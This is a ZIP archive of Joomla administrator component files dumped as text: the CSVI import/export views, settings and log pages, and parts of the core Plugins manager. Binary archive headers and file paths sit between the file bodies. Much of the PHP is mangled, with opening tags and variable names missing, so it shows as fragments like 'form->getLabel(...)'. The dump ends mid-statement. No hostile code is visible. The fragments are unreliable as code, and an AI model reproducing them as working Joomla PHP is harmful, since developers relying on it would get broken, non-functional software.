      PK@y>\ڞNcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_image.phpnuW+A
      • form->getLabel('process_image', 'image'); ?>
        form->getInput('process_image', 'image'); ?>
      • form->getLabel('auto_generate_image_name', 'image'); ?>
        form->getInput('auto_generate_image_name', 'image'); ?>
      • form->getLabel('type_generate_image_name', 'image'); ?>
        form->getInput('type_generate_image_name', 'image'); ?>
      • form->getLabel('autogenerateext', 'image'); ?>
        form->getInput('autogenerateext', 'image'); ?>
      • form->getLabel('change_case', 'image'); ?>
        form->getInput('change_case', 'image'); ?>
      • form->getLabel('keep_original', 'image'); ?>
        form->getInput('keep_original', 'image'); ?>
      • form->getLabel('convert_type', 'image'); ?>
        form->getInput('convert_type', 'image'); ?>
      • form->getLabel('save_images_on_server', 'image'); ?>
        form->getInput('save_images_on_server', 'image'); ?>
      • form->getLabel('full_resize', 'image'); ?>
        form->getInput('full_resize', 'image'); ?>
      • form->getLabel('full_width', 'image'); ?>
        form->getInput('full_width', 'image'); ?>
      • form->getLabel('full_height', 'image'); ?>
        form->getInput('full_height', 'image'); ?>
      • form->getLabel('thumb_check_filetype', 'image'); ?>
        form->getInput('thumb_check_filetype', 'image'); ?>
      • form->getLabel('thumb_create', 'image'); ?>
        form->getInput('thumb_create', 'image'); ?>
      • form->getLabel('thumb_extension', 'image'); ?>
        form->getInput('thumb_extension', 'image'); ?>
      • form->getLabel('thumb_width', 'image'); ?>
        form->getInput('thumb_width', 'image'); ?>
      • form->getLabel('thumb_height', 'image'); ?>
        form->getInput('thumb_height', 'image'); ?>
      PK@y>\t6$$Ucomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_manufacturer.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      PK@y>\ܭ,Ucomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_product_path.phpnuW+A
      • form->getLabel('file_location_product_images', 'path'); ?>
        form->getInput('file_location_product_images', 'path'); ?>
        '.$this->config->get('media_product_path').'');?> | |
      PK@y>\^{Mcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_calc.phpnuW+A
      • form->getLabel('language', 'general'); ?>
        form->getInput('language', 'general'); ?>
      • form->getLabel('category_separator', 'general'); ?>
        form->getInput('category_separator', 'general'); ?>
      PK@y>\-Zcomponents/com_csvi/views/process/tmpl/com_virtuemart/import/default_manufacturer_file.phpnuW+A
      • form->getLabel('auto_detect_delimiters', 'general'); ?>
        form->getInput('auto_detect_delimiters', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('im_mac', 'general'); ?>
        form->getInput('im_mac', 'general'); ?>
      • form->getLabel('use_column_headers', 'general'); ?>
        form->getInput('use_column_headers', 'general'); ?>
      • form->getLabel('skip_first_line', 'general'); ?>
        form->getInput('skip_first_line', 'general'); ?>
      • form->getLabel('skip_default_value', 'general'); ?>
        form->getInput('skip_default_value', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('refresh_xml_headers', 'general'); ?>
        form->getInput('refresh_xml_headers', 'general'); ?>
      • form->getLabel('xml_nodes_map', 'general'); ?>
        form->getInput('xml_nodes_map', 'general'); ?>
      PK@y>\#o,,@components/com_csvi/views/process/tmpl/com_virtuemart/index.htmlnuW+APK@y>\S2components/com_csvi/views/process/tmpl/default.phpnuW+A
      templates; ?>
      form->getGroup('options') as $field) : ?> input; ?>
      form->getValue('action', 'options'); $component = $this->form->getValue('component', 'options'); $operation = $this->form->getValue('operation', 'options'); if ($action && $component & $operation) { // Load the source template echo $this->loadTemplate('source'); // Load the specific templates switch($action) { case 'import': ?>
        optiontemplates as $template) { ?>
      optiontemplates as $template) { ?>
      loadTemplate($template); ?>
        optiontemplates as $template) { ?>
      optiontemplates as $template) { ?>
      loadTemplate($template); ?>
      PK@y>\P P 8components/com_csvi/views/process/tmpl/import_result.phpnuW+Alogresult) { $jinput = JFactory::getApplication()->input; ?> logresult['result']) > 0) { foreach ($this->logresult['result'] as $result => $log) { ?>
      logresult['file_name']).'
      '.$this->runtime; ?>
      get('run_id', 0, 'int')), JText::_('COM_CSVI_SHOW_FULL_LOG')); echo ' | '; // Show view debug log if (!empty($this->logresult['debugview'])) { echo $this->logresult['debugview']; echo ' | '; } // Show download debug log echo $this->logresult['debug']; ?>
      total_result; ?> result; ?> status); ?>
      '; echo $this->runtime; echo '
      '; echo '
      '; echo JText::_('COM_CSVI_NO_LOG_EXPLAIN'); }?> PK@y>\#o,,1components/com_csvi/views/process/tmpl/index.htmlnuW+APK@y>\)0components/com_csvi/views/process/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\-p;;@components/com_csvi/views/process/tmpl/import/default_fields.phpnuW+A form->getValue('operation', 'options') == 'customimport') { ?>
      form->getInput('custom_table'); ?>

      'addRow')); ?> templatefields, '_field_name', null, 'value', 'text', null, '_field_name'); ?> replacements, '_replace_field', '', 'value', 'text', '', '_replace_field_default'); ?>

      template->get('import_fields'); if (isset($import_fields['_selected_name'])) { for ($rows = 0; $rows < count($import_fields['_selected_name']); $rows++) { $id = mt_rand(); ?>
      replacements, 'jform[import_fields][_replace_field]['.$rows.']', '', 'value', 'text', $import_fields['_replace_field'][$rows], '_replace_field_'.$id); ?>
      templatefields as $fieldname) { ?>
      text; ?>
      PK@y>\)7components/com_csvi/views/process/tmpl/import/.htaccessnuW+A Order allow,deny Deny from all PK@y>\D;^^?components/com_csvi/views/process/tmpl/import/default_limit.phpnuW+A
      • form->getLabel('use_system_limits', 'limit'); ?>
        form->getInput('use_system_limits', 'limit'); ?>
      • form->getLabel('max_execution_time', 'limit'); ?>
        form->getInput('max_execution_time', 'limit'); ?>
        :
      • form->getLabel('memory_limit', 'limit'); ?>
        form->getInput('memory_limit', 'limit'); ?>
        :
      • form->getLabel('post_max_size', 'limit'); ?>
        form->getInput('post_max_size', 'limit'); ?>
        :
      • form->getLabel('upload_max_filesize', 'limit'); ?>
        form->getInput('upload_max_filesize', 'limit'); ?>
        :
      PK@y>\Pw @components/com_csvi/views/process/tmpl/import/default_source.phpnuW+A
      • form->getLabel('source', 'general'); ?>
        form->getInput('source', 'general'); ?>
      • form->getLabel('import_file', 'general'); ?>
        form->getInput('import_file', 'general'); ?>
      • form->getLabel('local_csv_file', 'general'); ?>
        form->getInput('local_csv_file', 'general'); ?>
      • form->getLabel('urlfile', 'general'); ?>
        form->getInput('urlfile', 'general'); ?>
      • form->getLabel('ftphost', 'general'); ?>
        form->getInput('ftphost', 'general'); ?>
      • form->getLabel('ftpport', 'general'); ?>
        form->getInput('ftpport', 'general'); ?>
      • form->getLabel('ftpusername', 'general'); ?>
        form->getInput('ftpusername', 'general'); ?>
      • form->getLabel('ftppass', 'general'); ?>
        form->getInput('ftppass', 'general'); ?>
      • form->getLabel('ftproot', 'general'); ?>
        form->getInput('ftproot', 'general'); ?>
      • form->getLabel('ftpfile', 'general'); ?>
        form->getInput('ftpfile', 'general'); ?>
      PK@y>\L>components/com_csvi/views/process/tmpl/import/default_file.phpnuW+A
      • form->getLabel('auto_detect_delimiters', 'general'); ?>
        form->getInput('auto_detect_delimiters', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('im_mac', 'general'); ?>
        form->getInput('im_mac', 'general'); ?>
      • form->getLabel('use_column_headers', 'general'); ?>
        form->getInput('use_column_headers', 'general'); ?>
      • form->getLabel('skip_first_line', 'general'); ?>
        form->getInput('skip_first_line', 'general'); ?>
      • form->getLabel('overwrite_existing_data', 'general'); ?>
        form->getInput('overwrite_existing_data', 'general'); ?>
      • form->getLabel('ignore_non_exist', 'general'); ?>
        form->getInput('ignore_non_exist', 'general'); ?>
      • form->getLabel('skip_default_value', 'general'); ?>
        form->getInput('skip_default_value', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('refresh_xml_headers', 'general'); ?>
        form->getInput('refresh_xml_headers', 'general'); ?>
      • form->getLabel('xml_nodes_map', 'general'); ?>
        form->getInput('xml_nodes_map', 'general'); ?>
      PK@y>\#o,,8components/com_csvi/views/process/tmpl/import/index.htmlnuW+APK@y>\)Fcomponents/com_csvi/views/process/tmpl/com_akeebasubs/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\]t{ Ucomponents/com_csvi/views/process/tmpl/com_akeebasubs/export/default_subscription.phpnuW+A
      • form->getLabel('ordernostart', 'order'); ?>
        form->getInput('ordernostart', 'order'); ?> form->getInput('ordernoend', 'order'); ?>
      • form->getLabel('orderlist', 'order'); ?>
        form->getInput('orderlist', 'order'); ?>
      • form->getLabel('orderdatestart', 'order'); ?>
        form->getInput('orderdatestart', 'order'); ?> form->getInput('orderdateend', 'order'); ?>
      • form->getLabel('orderstatus', 'order'); ?>
        form->getInput('orderstatus', 'order'); ?>
      • form->getLabel('orderpayment', 'order'); ?>
        form->getInput('orderpayment', 'order'); ?>
      • form->getLabel('orderpricestart', 'order'); ?>
        form->getInput('orderpricestart', 'order'); ?> form->getInput('orderpriceend', 'order'); ?>
      form->getLabel('orderuser', 'order'); ?>
      form->getInput('orderuser', 'order'); ?>
      form->getLabel('orderproduct', 'order'); ?>
      form->getInput('orderproduct', 'order'); ?>
      PK@y>\MwzzMcomponents/com_csvi/views/process/tmpl/com_akeebasubs/export/default_file.phpnuW+A
      • form->getLabel('export_filename', 'general'); ?>
        form->getInput('export_filename', 'general'); ?>
      • form->getLabel('export_file', 'general'); ?>
        form->getInput('export_file', 'general'); ?>
      • form->getLabel('export_site', 'general'); ?>
        form->getInput('export_site', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('include_column_headers', 'general'); ?>
        form->getInput('include_column_headers', 'general'); ?>
      • form->getLabel('signature', 'general'); ?>
        form->getInput('signature', 'general'); ?>
      • form->getLabel('export_frontend', 'general'); ?>
        form->getInput('export_frontend', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('publish_state', 'general'); ?>
        form->getInput('publish_state', 'general'); ?>
      • form->getLabel('recordstart', 'general'); ?>
        form->getInput('recordstart', 'general'); ?> form->getInput('recordend', 'general'); ?>
      • form->getLabel('groupby', 'general'); ?>
        form->getInput('groupby', 'general'); ?>
      • form->getLabel('export_date_format', 'general'); ?>
        form->getInput('export_date_format', 'general'); ?>

      • form->getLabel('export_price_format_decimal', 'general'); ?>
        form->getInput('export_price_format_decimal', 'general'); ?>
      • form->getLabel('export_price_format_decsep', 'general'); ?>
        form->getInput('export_price_format_decsep', 'general'); ?>
      • form->getLabel('export_price_format_thousep', 'general'); ?>
        form->getInput('export_price_format_thousep', 'general'); ?>
      • form->getLabel('add_currency_to_price', 'general'); ?>
        form->getInput('add_currency_to_price', 'general'); ?>
      PK@y>\#o,,Gcomponents/com_csvi/views/process/tmpl/com_akeebasubs/export/index.htmlnuW+APK@y>\#o,,@components/com_csvi/views/process/tmpl/com_akeebasubs/index.htmlnuW+APK@y>\)?components/com_csvi/views/process/tmpl/com_akeebasubs/.htaccessnuW+A Order allow,deny Deny from all PK@y>\eWǵ@components/com_csvi/views/process/tmpl/export/default_source.phpnuW+A
      • form->getLabel('exportto', 'general'); ?>
        form->getInput('exportto', 'general'); ?>
      • form->getLabel('localpath', 'general'); ?>
        form->getInput('localpath', 'general'); ?>
      • form->getLabel('ftphost', 'general'); ?>
        form->getInput('ftphost', 'general'); ?>
      • form->getLabel('ftpport', 'general'); ?>
        form->getInput('ftpport', 'general'); ?>
      • form->getLabel('ftpusername', 'general'); ?>
        form->getInput('ftpusername', 'general'); ?>
      • form->getLabel('ftppass', 'general'); ?>
        form->getInput('ftppass', 'general'); ?>
      • form->getLabel('ftproot', 'general'); ?>
        form->getInput('ftproot', 'general'); ?>
      • form->getLabel('ftpfile', 'general'); ?>
        form->getInput('ftpfile', 'general'); ?>
      PK@y>\pHCC@components/com_csvi/views/process/tmpl/export/default_fields.phpnuW+A form->getValue('operation', 'options') == 'customexport') { ?>
      form->getInput('custom_table'); ?>

      'addRow')); ?> templatefields, '_field_name', null, 'value', 'text', null, '_field_name'); ?> replacements, '_replace_field', '', 'value', 'text', '', '_replace_field_default'); ?>

      template->get('export_fields'); if (isset($export_fields['_selected_name'])) { for ($rows = 0; $rows < count($export_fields['_selected_name']); $rows++) { $id = mt_rand(); ?>
      replacements, 'jform[export_fields][_replace_field]['.$rows.']', '', 'value', 'text', $export_fields['_replace_field'][$rows], '_replace_field_'.$id); ?>
      templatefields as $fieldname) { ?>
      text; ?>
      PK@y>\gR?components/com_csvi/views/process/tmpl/export/default_email.phpnuW+A
      • form->getLabel('export_email_addresses', 'email'); ?>
        form->getInput('export_email_addresses', 'email'); ?>
      • form->getLabel('export_email_addresses_cc', 'email'); ?>
        form->getInput('export_email_addresses_cc', 'email'); ?>
      • form->getLabel('export_email_addresses_bcc', 'email'); ?>
        form->getInput('export_email_addresses_bcc', 'email'); ?>
      • form->getLabel('export_email_subject', 'email'); ?>
        form->getInput('export_email_subject', 'email'); ?>
      form->getLabel('export_email_body', 'email'); ?>
      form->getInput('export_email_body', 'email'); ?>
      PK@y>\/߬@components/com_csvi/views/process/tmpl/export/default_layout.phpnuW+A
      • form->getLabel('header', 'layout'); ?>
        form->getInput('header', 'layout'); ?>
      • form->getLabel('body', 'layout'); ?>
        form->getInput('body', 'layout'); ?>
      • form->getLabel('footer', 'layout'); ?>
        form->getInput('footer', 'layout'); ?>
      PK@y>\)7components/com_csvi/views/process/tmpl/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,8components/com_csvi/views/process/tmpl/export/index.htmlnuW+APK@y>\c?components/com_csvi/views/process/tmpl/export/default_limit.phpnuW+A
      • form->getLabel('use_system_limits', 'limit'); ?>
        form->getInput('use_system_limits', 'limit'); ?>
      • form->getLabel('max_execution_time', 'limit'); ?>
        form->getInput('max_execution_time', 'limit'); ?>
        :
      • form->getLabel('memory_limit', 'limit'); ?>
        form->getInput('memory_limit', 'limit'); ?>
        :
      PK@y>\w1components/com_csvi/views/process/view.result.phpnuW+Ainput; // Load the settings $this->loadHelper('settings'); $settings = new CsviSettings(); if ($settings->get('log.log_store', 1)) { // Load the results from the log $this->logresult = $this->get('Stats', 'log'); // Get the run time $session = JFactory::getSession(); $runtime = $session->get('com_csvi.runtime'); if ($runtime > 0) $runtime = time()-$runtime; $this->assignRef('runtime', JText::sprintf('COM_CSVI_RUNTIME_IMPORT', number_format($runtime/60, 2), $runtime)); // Reset the run time $session->set('com_csvi.runtime', null); // Get the toolbar title JToolBarHelper::title(JText::_('COM_CSVI_'.$this->logresult['action'].'_RESULT'), 'csvi_'.$this->logresult['action'].'_48'); } else $this->logresult = false; // Get the panel $this->loadHelper('panel'); // Display it all parent::display($tpl); } } ?> PK@y>\)+components/com_csvi/views/process/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)1components/com_csvi/views/settings/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Sl 3components/com_csvi/views/settings/tmpl/default.phpnuW+A
      1)); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_SITE_SETTINGS'), 'site_settings'); echo $this->loadTemplate('site'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_IMPORT_SETTINGS'), 'import_settings'); echo $this->loadTemplate('import'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_GOOGLE_BASE_SETTINGS'), 'google_base_settings'); echo $this->loadTemplate('google_base'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_ICECAT_SETTINGS'), 'icecat_settings'); echo $this->loadTemplate('icecat'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_LOG_SETTINGS'), 'log_settings'); echo $this->loadTemplate('log'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_CUSTOM_TABLES'), 'custom_tables_settings'); echo $this->loadTemplate('custom_tables'); echo JHtml::_('tabs.end'); ?>
      PK@y>\8components/com_csvi/views/settings/tmpl/default_site.phpnuW+A
        form->getGroup('site') as $field) : ?>
      • label; ?> input; ?>
      PK@y>\rww7components/com_csvi/views/settings/tmpl/default_log.phpnuW+A
        form->getGroup('log') as $field) : ?>
      • label; ?> input; ?>
        form->getGroup('debuglog') as $field) : ?>
      • label; ?> input; ?>
      PK@y>\#o,,2components/com_csvi/views/settings/tmpl/index.htmlnuW+APK@y>\,Acomponents/com_csvi/views/settings/tmpl/default_custom_tables.phpnuW+A form->getValue('tables'); if (!is_null($tables)) $selected = $tables->tablelist; else $selected = array(); // Check if the selected value is an array if (!is_array($selected)) $selected = array($selected); foreach ($this->tablelist as $table) { if (in_array($table, $selected)) $sel = 'checked="checked"'; else $sel = ''; ?>
      />
      PK@y>\Ӏ:components/com_csvi/views/settings/tmpl/default_icecat.phpnuW+A
        form->getGroup('icecat') as $field) : ?>
      • label; ?> input; ?>

      PK@y>\oY:components/com_csvi/views/settings/tmpl/default_import.phpnuW+A
        form->getGroup('import') as $field) : ?>
      • label; ?> input; ?>
      PK@y>\ ?components/com_csvi/views/settings/tmpl/default_google_base.phpnuW+A
        form->getGroup('google_base') as $field) : ?>
      • label; ?> input; ?>
      PK@y>\eFsZ0components/com_csvi/views/settings/view.html.phpnuW+Aform = $this->get('Form'); // Load a list of tables $this->tablelist = $this->get('TableList'); // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_SETTINGS_TITLE'), 'csvi_settings_48'); JToolBarHelper::custom('settings.reset', 'csvi_reset_32', 'csvi_reset_32', JText::_('COM_CSVI_RESET_SETTINGS'), false); JToolBarHelper::custom('settings.save', 'csvi_save_32', 'csvi_save_32', JText::_('COM_CSVI_SAVE'), false); //JToolBarHelper::help('settings.html', true); // Display it all parent::display($tpl); } } ?>PK@y>\#o,,-components/com_csvi/views/settings/index.htmlnuW+APK@y>\),components/com_csvi/views/settings/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)'components/com_csvi/views/log/.htaccessnuW+A Order allow,deny Deny from all PK@y>\),components/com_csvi/views/log/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,-components/com_csvi/views/log/tmpl/index.htmlnuW+APK@y>\&0components/com_csvi/views/log/tmpl/logreader.phpnuW+Alogdetails)) echo ''.sprintf(JText::_('COM_CSVI_NO_LOG_FOUND'), $this->logfile).''; else { ?>
      logdetails['date']; ?>
      logdetails['joomla']; ?>
      logdetails['fields'] as $title) { ?> logdetails['entries'] as $entry) { ?>
      logdetails['entries'])); ?>
      PK@y>\r.components/com_csvi/views/log/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      : lists['actions']; ?>
      pagination->getResultsCounter(); ?>
      logentries) { for ($i=0, $n=count( $this->logentries); $i < $n; $i++) { $row = $this->logentries[$i]; // Pseudo entry for satisfying Joomla $row->checked_out = 0; $link = 'index.php?option=com_csvi&task=logdetails.display&run_id[]='. $row->run_id; $checked = JHtml::_('grid.checkedout', $row, $i); $user = JFactory::getUser($row->userid); ?> '; ?>
      pagination->getListFooter(); ?>
      action); ?> action_type); ?> template_name; ?> logstamp, 'Y-m-d H:i:s'); ?> name; ?> records; ?> run_cancelled) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); echo $run_cancelled;?> file_name; ?> action_type, -6) == 'import' || substr($row->action_type, -6) == 'export') { if (file_exists(CSVIPATH_DEBUG.'/com_csvi.log.'.$row->run_id.'.php')) { $attribs = 'class="modal" onclick="" rel="{handler: \'iframe\', size: {x: 950, y: 500}}"'; echo JHTML::_('link', JRoute::_('index.php?option=com_csvi&task=log.logreader&tmpl=component&run_id='.$row->run_id), $row->run_id, $attribs); } else echo $row->run_id; } else echo $row->run_id; ?>
      '.JText::_('COM_CSVI_NO_LOG_ENTRIES_FOUND').'
      PK@y>\#o,,(components/com_csvi/views/log/index.htmlnuW+APK@y>\O O +components/com_csvi/views/log/view.html.phpnuW+Ainput; // Get the task $task = $jinput->get('task'); // Get the log $model = $this->getModel('log'); switch ($task) { case 'logreader': $this->logdetails = $this->get('Logfile'); $this->logfile = $logfile = CSVIPATH_DEBUG.'/com_csvi.log.'.JRequest::getInt('run_id').'.php'; break; default: // Load the logs $this->logentries = $this->get('Items'); // Get the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); // Load the action types $actiontypes = $this->get('ActionTypes'); $this->lists['actions'] = JHTML::_('select.genericlist', $actiontypes, 'filter_actiontype', '', 'value', 'text', JRequest::getWord('filter_actiontype')); // Get the panel $this->loadHelper('panel'); // Add toolbar JToolBarHelper::title(JText::_('COM_CSVI_LOG'), 'csvi_log_48'); JToolBarHelper::custom( 'logdetails.logdetails', 'csvi_logdetails_32', 'csvi_logdetails_32', JText::_('COM_CSVI_DETAILS'), true); JToolBarHelper::custom( 'log.remove', 'csvi_delete_32', 'csvi_delete_32', JText::_('COM_CSVI_DELETE'), true); JToolBarHelper::custom( 'log.remove_all', 'csvi_delete_32', 'csvi_delete_32', JText::_('COM_CSVI_DELETE_ALL'), false); // JToolBarHelper::help('log.html', true); break; } // Display it all parent::display($tpl); } } ?> PK@y>\)#components/com_csvi/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V!components/com_plugins/index.htmlnuW+A PK@y>\V-components/com_plugins/controllers/index.htmlnuW+A PK@y>\"d.components/com_plugins/controllers/plugins.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\桜}-components/com_plugins/controllers/plugin.phpnuW+A\),components/com_plugins/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\) components/com_plugins/.htaccessnuW+A Order allow,deny Deny from all PK@y>\$ "components/com_plugins/plugins.xmlnuW+A com_plugins Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_PLUGINS_XML_DESCRIPTION config.xml controller.php index.html plugins.php controllers helpers models views language/en-GB.com_plugins.ini PK@y>\pCC"components/com_plugins/plugins.phpnuW+Aauthorise('core.manage', 'com_plugins')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Create the controller $controller = JControllerLegacy::getInstance('Plugins'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\)(components/com_plugins/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V)components/com_plugins/helpers/index.htmlnuW+A PK@y>\Qd d *components/com_plugins/helpers/plugins.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * Returns an array of standard published state filter options. * * @return string The HTML code for the select tag */ public static function stateOptions() { // Build the active state filter options. $options = array(); $options[] = JHtml::_('select.option', '1', 'JENABLED'); $options[] = JHtml::_('select.option', '0', 'JDISABLED'); return $options; } /** * Returns an array of standard published state filter options. * * @return string The HTML code for the select tag */ public static function folderOptions() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('DISTINCT(folder) AS value, folder AS text'); $query->from('#__extensions'); $query->where($db->quoteName('type').' = '.$db->quote('plugin')); $query->order('folder'); $db->setQuery($query); $options = $db->loadObjectList(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } return $options; } function parseXMLTemplateFile($templateBaseDir, $templateDir) { $data = new JObject; // Check of the xml file exists $filePath = JPath::clean($templateBaseDir.'/templates/'.$templateDir.'/templateDetails.xml'); if (is_file($filePath)) { $xml = JInstaller::parseXMLInstallFile($filePath); if ($xml['type'] != 'template') { return false; } foreach ($xml as $key => $value) { $data->set($key, $value); } } return $data; } } PK@y>\m!components/com_plugins/access.xmlnuW+A
      PK@y>\K 1components/com_plugins/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $pluginId = (int) $this->form->getValue('extension_id'); $folder = $this->form->getValue('folder'); $db = JFactory::getDbo(); // Build the query for the ordering list. $query = 'SELECT ordering AS value, name AS text, type AS type, folder AS folder, extension_id AS extension_id' . ' FROM #__extensions' . ' WHERE (type =' .$db->Quote('plugin'). 'AND folder='. $db->Quote($folder) . ')'. ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $pluginId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $pluginId ? 0 : 1); } return implode($html); } } PK@y>\).components/com_plugins/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_plugins/models/fields/index.htmlnuW+A PK@y>\"**.components/com_plugins/models/forms/plugin.xmlnuW+A
      PK@y>\)-components/com_plugins/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V.components/com_plugins/models/forms/index.htmlnuW+A PK@y>\:2K#K#(components/com_plugins/models/plugin.phpnuW+AgetItem(); $folder = $item->folder; $element = $item->element; } else { $folder = JArrayHelper::getValue($data, 'folder', '', 'cmd'); $element = JArrayHelper::getValue($data, 'element', '', 'cmd'); } // These variables are used to add data from the plugin XML files. $this->setState('item.folder', $folder); $this->setState('item.element', $element); // Get the form. $form = $this->loadForm('com_plugins.plugin', 'plugin', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('enabled', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('enabled', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_plugins.edit.plugin.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to get a single record. * * @param integer The id of the primary key. * * @return mixed Object on success, false on failure. */ public function getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? $pk : (int) $this->getState('plugin.id'); if (!isset($this->_cache[$pk])) { $false = false; // Get a row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($pk); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return $false; } // Convert to the JObject before adding other data. $properties = $table->getProperties(1); $this->_cache[$pk] = JArrayHelper::toObject($properties, 'JObject'); // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($table->params); $this->_cache[$pk]->params = $registry->toArray(); // Get the plugin XML. $path = JPath::clean(JPATH_PLUGINS.'/'.$table->folder.'/'.$table->element.'/'.$table->element.'.xml'); if (file_exists($path)) { $this->_cache[$pk]->xml = JFactory::getXML($path); } else { $this->_cache[$pk]->xml = null; } } return $this->_cache[$pk]; } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object */ public function getTable($type = 'Extension', $prefix = 'JTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * @since 1.6 */ protected function populateState() { // Execute the parent method. parent::populateState(); $app = JFactory::getApplication('administrator'); // Load the User state. $pk = (int) JRequest::getInt('extension_id'); $this->setState('plugin.id', $pk); } /** * @param object A form object. * @param mixed The data expected for the form. * @return mixed True if successful. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'content') { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); // Initialise variables. $folder = $this->getState('item.folder'); $element = $this->getState('item.element'); $lang = JFactory::getLanguage(); $client = JApplicationHelper::getClientInfo(0); // Load the core and/or local language sys file(s) for the ordering field. $db = JFactory::getDbo(); $query = 'SELECT element' . ' FROM #__extensions' . ' WHERE (type =' .$db->Quote('plugin'). 'AND folder='. $db->Quote($folder) . ')'; $db->setQuery($query); $elements = $db->loadColumn(); foreach ($elements as $elementa) { $lang->load('plg_'.$folder.'_'.$elementa.'.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load('plg_'.$folder.'_'.$elementa.'.sys', JPATH_PLUGINS.'/'.$folder.'/'.$elementa, null, false, true); } if (empty($folder) || empty($element)) { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_plugins&view=plugins', false)); } // Try 1.6 format: /plugins/folder/element/element.xml $formFile = JPath::clean(JPATH_PLUGINS.'/'.$folder.'/'.$element.'/'.$element.'.xml'); if (!file_exists($formFile)) { // Try 1.5 format: /plugins/folder/element/element.xml $formFile = JPath::clean(JPATH_PLUGINS.'/'.$folder.'/'.$element.'.xml'); if (!file_exists($formFile)) { throw new 